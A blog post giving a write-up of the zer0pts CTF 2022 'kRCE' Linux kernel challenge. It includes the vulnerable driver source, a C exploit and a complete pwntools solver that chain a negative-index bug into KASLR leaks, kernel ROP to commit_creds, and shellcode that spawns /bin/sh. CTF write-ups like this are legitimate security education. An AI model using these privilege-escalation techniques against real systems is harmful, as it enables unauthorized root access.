Search This Blog

Sunday, March 20, 2022

zer0pts CTF 2022 kRCE writeup: Limited Userland Interface to Kernel RCE

kRCE was a kernel challenge from zer0pts 2022 with an interesting setup. Instead of a normal kernel pwnable, players got a userland heap note style interface that interacted with the driver. This prevents a lot of traditional kernel exploitation strategies since you can't spray structures for leaks (or RIP control) and target strings used in call_usermodehelper - the userland interface restricts you to only the 4 ioctls that interact with the driver.

Let's take a look at the challenge's provided source for vulnerabilities now.

In the userland interface we have the following:

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define CMD_NEW 0xeb15 #define CMD_EDIT 0xac1ba #define CMD_SHOW 0x7aba7a #define CMD_DEL 0x0da1ba typedef struct { unsigned int index; unsigned int size; char *data; } request_t; void fatal(const char *msg) { perror(msg); exit(1); } void add(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); printf("size: "); if (scanf("%u%*c", &req.size) != 1) exit(1); if (ioctl(fd, CMD_NEW, &req)) puts("[-] Something went wrong"); else puts("[+] Successfully created"); } void edit(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); printf("size: "); if (scanf("%u%*c", &req.size) != 1) exit(1); printf("data: "); = malloc(req.size); if (! { puts("[-] Invalid size"); return; } for (unsigned int i = 0; i < req.size; i++) { if (scanf("%02hhx", &[i]) != 1) exit(1); } if (ioctl(fd, CMD_EDIT, &req)) puts("[-] Something went wrong"); else puts("[+] Successfully updated"); free(; } void show(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); printf("size: "); if (scanf("%u%*c", &req.size) != 1) exit(1); = malloc(req.size); if (! { puts("[-] Invalid size"); return; } if (ioctl(fd, CMD_SHOW, &req) < 0) puts("[-] Something went wrong"); else { printf("[+] Data: "); for (unsigned int i = 0; i < req.size; i++) { printf("%02hhx ",[i]); } putchar('\n'); } free(; } void del(int fd) { request_t req; printf("index: "); if (scanf("%u%*c", &req.index) != 1) exit(1); if (ioctl(fd, CMD_DEL, &req) < 0) puts("[-] Something went wrong"); else puts("[+] Successfully deleted"); } int main() { int bufd = open("/dev/buffer", O_RDWR | O_CLOEXEC); if (bufd == -1) fatal("/dev/buffer"); if (setregid(1337, 1337) == -1) fatal("setregid"); if (setreuid(1337, 1337) == -1) fatal("setreuid"); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); puts("1. add"); puts("2. edit"); puts("3. show"); puts("4. delete"); while (1) { int choice; printf("> "); if (scanf("%d%*c", &choice) != 1) exit(1); switch (choice) { case 1: add(bufd); break; case 2: edit(bufd); break; case 3: show(bufd); break; case 4: del(bufd); break; default: return 0; } } }

There aren't any bugs here, so you won't be able to escape from userland to a shell first. Note that the binary had PIE and was linked with uClibc.

The following is the kernel driver source:

#include <linux/module.h> #include <linux/kernel.h> #include <linux/cdev.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/random.h> #define DEVICE_NAME "buffer" #define BUF_NUM 0x10 #define CMD_NEW 0xeb15 #define CMD_EDIT 0xac1ba #define CMD_SHOW 0x7aba7a #define CMD_DEL 0x0da1ba MODULE_LICENSE("GPL"); MODULE_AUTHOR("ptr-yudai"); MODULE_DESCRIPTION("kRCE - zer0pts CTF 2022"); typedef struct { uint32_t index; uint32_t size; char *data; } request_t; char *buffer[BUF_NUM]; long buffer_new(uint32_t index, uint32_t size) { if (index >= BUF_NUM) return -EINVAL; if (!(buffer[index] = (char*)kzalloc(size, GFP_KERNEL))) return -EINVAL; return 0; } long buffer_del(uint32_t index) { if (index >= BUF_NUM) return -EINVAL; if (!buffer[index]) return -EINVAL; kfree(buffer[index]); buffer[index] = NULL; return 0; } long buffer_edit(int32_t index, char *data, int32_t size) { if (index >= BUF_NUM) return -EINVAL; if (!buffer[index]) return -EINVAL; if (copy_from_user(buffer[index], data, size)) return -EINVAL; return 0; } long buffer_show(int32_t index, char *data, int32_t size) { if (index >= BUF_NUM) return -EINVAL; if (!buffer[index]) return -EINVAL; if (copy_to_user(data, buffer[index], size)) return -EINVAL; return 0; } static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { request_t req; if (copy_from_user(&req, (void*)arg, sizeof(request_t))) return -EINVAL; switch (cmd) { case CMD_NEW : return buffer_new (req.index, req.size); case CMD_EDIT: return buffer_edit(req.index,, req.size); case CMD_SHOW: return buffer_show(req.index,, req.size); case CMD_DEL : return buffer_del (req.index); default: return -EINVAL; } } static struct file_operations module_fops = { .owner = THIS_MODULE, .unlocked_ioctl = module_ioctl, }; static dev_t dev_id; static struct cdev c_dev; static int __init module_initialize(void) { if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) { printk(KERN_WARNING "Failed to register device\n"); return -EBUSY; } cdev_init(&c_dev, &module_fops); c_dev.owner = THIS_MODULE; if (cdev_add(&c_dev, dev_id, 1)) { printk(KERN_WARNING "Failed to add cdev\n"); unregister_chrdev_region(dev_id, 1); return -EBUSY; } return 0; } static void __exit module_cleanup(void) { cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1); } module_init(module_initialize); module_exit(module_cleanup);

Edit and show allow for arbitrary out of bounds read and write on the kernel heap. There is another more powerful bug too that let us completely ignore this overflow bug. Even though index is an unsigned integer in the request struct, it gets passed into edit and show as a signed int, effectively giving us a negative indexing primitive into the buffer array as it doesn't check lower bounds. Note that the kernel also has the classic modern mitigations of KASLR, KPTI, SMEP, and SMAP. 

For debugging's sake, I removed the interface portion and had the init script drop me a shell locally. It should be pretty trivial to convert a C exploit that only uses the 4 ioctls into a pwntools interaction script with the userland interface.

My first goal was to achieve a module leak. When analyzing the module in memory, it's interesting to note that the driver's module struct is 16 bytes above the buffer array. 

0xffffffffc02ae300: 0x0000000000000000 0xffffffffc02ae2b8 0xffffffffc02ae310: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae320: 0x0000000000001000 0x0000000000000002 0xffffffffc02ae330: 0xffffffffb12b47a0 0xffffffffb12b47a0 0xffffffffc02ae340: 0xffffffffc02ae100 0xffffffffc02ae350 0xffffffffc02ae350: 0xffffffffc02af000 0x0000000000000008 0xffffffffc02ae360: 0xffffffffc02af0c0 0xffffffffc02af11a 0xffffffffc02ae370: 0xffffa426c19c7000 0xffffa426c19dc400 0xffffffffc02ae380: 0xffffa426c18f6b48 0x0000000000000000 0xffffffffc02ae390: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae3a0: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae3b0: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae3c0: 0xffffffffc02ae3c0 0xffffffffc02ae3c0 0xffffffffc02ae3d0: 0xffffffffc02ae3d0 0xffffffffc02ae3d0 0xffffffffc02ae3e0: 0xffffffffc02ac1fb 0x0000000000000001 0xffffffffc02ae3f0: 0x0000000000000000 0x0000000000000000 --------------------------buffer-------------------------- 0xffffffffc02ae400: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae410: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae420: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae430: 0x0000000000000000 0x0000000000000000 0xffffffffc02ae440: 0x0000000000000000 0x0000000000000000

The ending of a module struct has some nice features for us. There is a linked list of dependency and dependee modules. Because this driver is all by itself, these pointers all point back to themselves. If we have the show ioctl index into memory address 0xffffffffc02ae3c0, we would get a dump of data starting from that address itself. This would provide us with a module leak. Judging from /sys/module/buffer/sections/, offsets between the .data and .text region of the module are constant.

Now I need to achieve a KASLR leak given a module leak. To do this, I utilized the pointer in 0xffffffffc02ae3e0, which points to module_cleanup, the destructor function for this driver. When the kernel loads a module, it automatically patches in addresses for external kernel/module function calls. module_cleanup calls cdev_del, a kernel function, so I can grab a kernel text leak by arb reading its disassembly at run time and looking at the relative offset used in the call instruction.

Here is the C exploit so far: 

show(fd, -8, 0x40, buffer); hexprint(buffer, 0x40); uint64_t module_data_base = *(uint64_t *)&buffer[0] - 0x3c0; uint64_t module_text_base = module_data_base - 0x2000; printf("kernel module data base: 0x%llx\n", module_data_base); printf("kernel module text base: 0x%llx\n", module_text_base); show(fd, -4, 0x20, buffer); hexprint(buffer, 0x20); int32_t relative_rip = *(int32_t*)(&buffer[0xc]); uint64_t kernel_base = module_text_base + 0x20b + relative_rip - 0x14e240; printf("kernel base: 0x%llx\n", kernel_base);

Now we can work on building an arbitrary read and arbitrary write primitive. To do this, I used negative indexing into one of the earlier self pointers to overwrite index 1 of the buffer array to point to the address of index 0. This would allow me to easily forge addresses from index 1 to arbitrarily read and write via index 0.

uint64_t evil[] = {module_data_base+0x3c0, module_data_base+0x3c0, module_data_base+0x3d0, module_data_base+0x3d0, module_text_base+0x1fb, 1, 0, 0, 0, module_data_base+0x400}; edit(fd, -8, sizeof(evil), (char *)&evil);

Arbitrary read and write in the kernel with KASLR bypassed… this should be quite trivial to pwn now right? Unfortunately, this is where the limited userland heap note interface affects us. As mentioned earlier, we can’t overwrite strings used in call_usermodehelper; if you were to overwrite for example modprobe_path or core_pattern, how could you trigger it from the safe userland interface? The classic privilege escalation ROP payload with just commit_creds wouldn’t work either as this heap interface doesn’t have a shell popping function to return to.

For now, I decided to first find the userland interface’s task struct as this could contain information that would lead to interesting avenues of exploitation. Even though the kernel doesn’t export data symbols, we can find task struct pretty easily based on start_kernel. As the interface is probably the last process launched, we can just walk once on the prev pointer in the tasks list_head. I can verify this via the comm field (which should hold the process name). In the snippet below, it is the name of my C exploit rather than the interface binary.

uint64_t init_task = kernel_base + 0xe12580; printf("init_task: 0x%llx\n", init_task); uint64_t task_ll = init_task + 0x2f8; edit(fd, 1, sizeof(uint64_t), &task_ll); uint64_t curr_task; show(fd, 0, sizeof(uint64_t), &curr_task); edit(fd, 1, sizeof(uint64_t), &curr_task); show(fd, 0, 0x500, buffer); assert(memmem(buffer, 0x500, "exploit", 7)); curr_task -= 0x2f0; printf("current task: 0x%llx\n", curr_task);

Looking at task_struct, I noticed an interesting field. Specifically there is a stack pointer that points to a location at a relatively close and constant offset from the value of rsp in kernel when our specific userland process triggers a switch into kernel mode. There’s probably more to the field than just this, but it’s enough for our exploitation purposes.

With that field, we should be able to ROP when the module ioctl handler returns. I made my ROP chain escalate creds, change permissions of the userland process to rwx, and write our own shellcode into it before having the handler trampoline back. This would allow us to pop a shell on the safe userland interface as we just rewrote its memory from kernelspace.

One last issue is that the userland binary has ASLR and PIE. To find out the addresses to abuse in userland, we can arb read the kernel stack during an ioctl as syscall handlers would have pushed userspace registers. We can easily grab a userland PIE (or userland ASLR library address) and stack pointer from this.

uint64_t stack_ptr = curr_task + 0x20; uint64_t stack = 0; edit(fd, 1, sizeof(uint64_t), &stack_ptr); show(fd, 0, sizeof(uint64_t), &stack); printf("current thread stack: 0x%llx\n", stack); uint64_t syscall_stack = stack + 0x3e88; edit(fd, 1, sizeof(uint64_t), &syscall_stack); show(fd, 0, 0x150, buffer); hexprint(buffer, 0x150); uint64_t userland_pie = 0; uint64_t userland_stack = 0; memcpy(&userland_pie, &buffer[0x128], sizeof(uint64_t)); memcpy(&userland_stack, &buffer[0x130], sizeof(uint64_t)); printf("userland pie: 0x%llx\n", userland_pie); printf("userland stack: 0x%llx\n", userland_stack);

From here on out, the exploit will be quite simple. We want to commit_creds(init_cred), utilize do_mprotect_pkey to make our leaked userland PIE’s page rwx (this is the internal function used by __x64_sys_mprotect), and then copy_to_user shellcode there. To store shellcode for the kernel to user copy, I allocated a buffer from driver to store it and leaked its heap address. After those ROP chain operations, I utilized the classic kpti trampoline from swapgs_restore_regs_and_return_to_usermode to return back to our rwx page.

Here is the final snippet of the C exploit:

uint64_t sc_leaker = module_data_base + 0x410; add(fd, 2, 0x1000); edit(fd, 1, sizeof(uint64_t), &sc_leaker); char sc_buf[0x1000] = {0x0}; memset(sc_buf, 0x90, sizeof(sc_buf)); char sc[] = "\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05"; memcpy(&sc_buf[sizeof(sc_buf) - 1 - sizeof(sc)], sc, sizeof(sc)); edit(fd, 2, sizeof(sc_buf), sc_buf); uint64_t sc_leak = 0; show(fd, 0, sizeof(uint64_t), &sc_leak); printf("shellcode buffer leak: 0x%llx\n", sc_leak); uint64_t stored_rip = stack + 0x3eb0; edit(fd, 1, sizeof(uint64_t), &syscall_stack); uint64_t kpti_trampoline = kernel_base + (0xffffffff81800e10ull - 0xffffffff81000000ull) + 0x16; uint64_t copy_to_user = kernel_base + (0xffffffff81269780ull - 0xffffffff81000000ull); uint64_t do_mprotect_pkey = kernel_base + (0xffffffff811224f0 - 0xffffffff81000000ull); uint64_t poprdi = kernel_base + (0xffffffff8114078aull - 0xffffffff81000000ull); uint64_t poprsi = kernel_base + (0xffffffff810ce28eull - 0xffffffff81000000ull); uint64_t poprdx = kernel_base + (0xffffffff81145369ull - 0xffffffff81000000ull); uint64_t poprcx = kernel_base + (0xffffffff810eb7e4ull - 0xffffffff81000000ull); uint64_t init_cred = kernel_base + (0xffffffff81e37a60ull - 0xffffffff81000000ull); uint64_t commit_cred = kernel_base + (0xffffffff810723c0ull - 0xffffffff81000000ull); printf("do_mprotect_pkey: 0x%llx\n", do_mprotect_pkey); uint64_t rop[] = { poprdi, (userland_pie & 0xfffffffffffff000), poprsi, 0x1000, poprdx, 7, poprcx, 0xffffffffffffffff, do_mprotect_pkey, poprdi, (userland_pie & 0xfffffffffffff000), poprsi, sc_leak, poprdx, 0x1000, copy_to_user, poprdi, init_cred, commit_cred, kpti_trampoline, 0xbaadf00d, 0xdeadbeef, (userland_pie & 0xfffffffffffff000), 0x33, 0x200, userland_stack, 0x2b, }; edit(fd, 0, sizeof(rop), &rop);

My teammate Ryaagard helped port it over to Python pwntools script to interface with the remote instance. Here is our final solver:

#!/usr/bin/env python3 from pwn import * binary = "./interface" elf = context.binary = ELF(binary) context.newline = b'\r\n' sla = lambda x, y: p.sendlineafter(x, y) sl = lambda x: p.sendline(x) ru = lambda x: p.recvuntil(x) def add(index, size): sla('> ', '1') sla('index: ', str(index)) sla('size: ', str(size)) def edit(index, data): buf = '' for b in data: buf += str(hex(b)[2:].rjust(2, '0')) sla('> ', '2') sla('index: ', str(index)) sla('size: ', str(len(buf)//2)) sla('data: ', buf) def show(index, size): sla('> ', '3') sla('index: ', str(index)) sla('size: ', str(size)) def free(index): sla('> ', '4') sla('index: ', str(index)) def getleak(): buf = b'' ru('Data: ') leak = ru('\n')[:-1].split() for b in leak: buf += p8(int(b, 16)) return buf p = remote("", 9009) cmd = ru('\n').strip().split() print(cmd) x = process(cmd) pow = x.recv().strip().split()[2] x.close() print(pow) ru('token: ') p.send(pow + b'\n') show(-8, 0x40) buf = getleak() print(hexdump(buf)) module_data_base = u64(buf[:8]) - 0x3c0 module_text_base = module_data_base - 0x2000 log.success('module_data_base: %#X' % module_data_base) log.success('module_text_base: %#X' % module_text_base) show(-4, 0x20) buf = getleak() print(hexdump(buf)) relative_rip = u32(buf[0xc:0xc+4])'rel rip: %#X' % relative_rip) kernel_base = (module_text_base + 0x20b + relative_rip - 0x14e240) % 0xfff00000 | (0xffffffff << 32); kernel_base -= 0x10000000; log.success('kernel base: %#X' % kernel_base) evil = p64(module_data_base+0x3c0) * 2 evil += p64(module_data_base+0x3d0) * 2 evil += p64(module_text_base+0x1fb) evil += p64(1) evil += p64(0) * 3 evil += p64(module_data_base+0x400) print(hexdump(evil)) edit(-8, evil) init_task = kernel_base + 0xe12580; log.success('info_task: %#X' % init_task) task_ll = init_task + 0x2f8 edit(1, p64(task_ll)) show(0, 8) curr_task = u64(getleak()) edit(1, p64(curr_task)) show(0, 0x500) buf = getleak() assert b'interface' in buf curr_task -= 0x2f0 log.success('curr_task: %#X' % curr_task) stack_ptr = curr_task + 0x20 edit(1, p64(stack_ptr)) show(0, 8) stack = u64(getleak()) log.success('stack ptr: %#X' % stack) syscall_stack = stack + 0x3e88 edit(1, p64(syscall_stack)) show(0, 0x150) buf = getleak() print(hexdump(buf)) userland_pie = u64(buf[0x128:0x130]) userland_stack = u64(buf[0x130:0x138]) log.success('userland_pie: %#x' % userland_pie) log.success('userland_stack: %#x' % userland_stack) sc_leaker = module_data_base + 0x410 add(2, 0x500) edit(1, p64(sc_leaker)) sc = b'\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05' sc_buf = sc.rjust(0x500, p8(0x90)) edit(2, sc_buf) show(0, 8) sc_leak = u64(getleak()) log.success('shellcode buffer leak: %#x' % sc_leak) stored_rip = stack + 0x3eb0 edit(1, p64(syscall_stack)) kpti_trampoline = kernel_base + (0xffffffff81800e10 - 0xffffffff81000000) + 0x16; copy_to_user = kernel_base + (0xffffffff81269780 - 0xffffffff81000000); do_mprotect_pkey = kernel_base + (0xffffffff811224f0 - 0xffffffff81000000); poprdi = kernel_base + (0xffffffff8114078a - 0xffffffff81000000); poprsi = kernel_base + (0xffffffff810ce28e - 0xffffffff81000000); poprdx = kernel_base + (0xffffffff81145369 - 0xffffffff81000000); poprcx = kernel_base + (0xffffffff810eb7e4 - 0xffffffff81000000); init_cred = kernel_base + (0xffffffff81e37a60 - 0xffffffff81000000); commit_cred = kernel_base + (0xffffffff810723c0 - 0xffffffff81000000); rop = b'' rop += p64(poprdi) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(poprsi) rop += p64(0x1000) rop += p64(poprdx) rop += p64(7) rop += p64(poprcx) rop += p64(0xffffffffffffffff) rop += p64(do_mprotect_pkey) rop += p64(poprdi) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(poprsi) rop += p64(sc_leak) rop += p64(poprdx) rop += p64(0x500) rop += p64(copy_to_user) rop += p64(poprdi) rop += p64(init_cred) rop += p64(commit_cred) rop += p64(kpti_trampoline) rop += p64(0xdeadbeef) rop += p64(0xcafebabe) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(0x33) rop += p64(0x200) rop += p64(userland_stack) rop += p64(0x2b) edit(0, rop) p.interactive()

And these are the results of running on remote:

When discussing solutions after the CTF, I heard of another really interesting approach to this from r4j on Super HexaGoN. Since initramfs loads into RAM, he just found a fixed offset from the heap onto portions of the filesystem to attack and edit busybox.

Overall, kRCE was quite a fun and unique challenge! zer0pts CTF 2022 definitely had some of the best CTF pwnables for the past few months. As always, feel free to point out any mistakes I may have made and ask any questions about the writeup!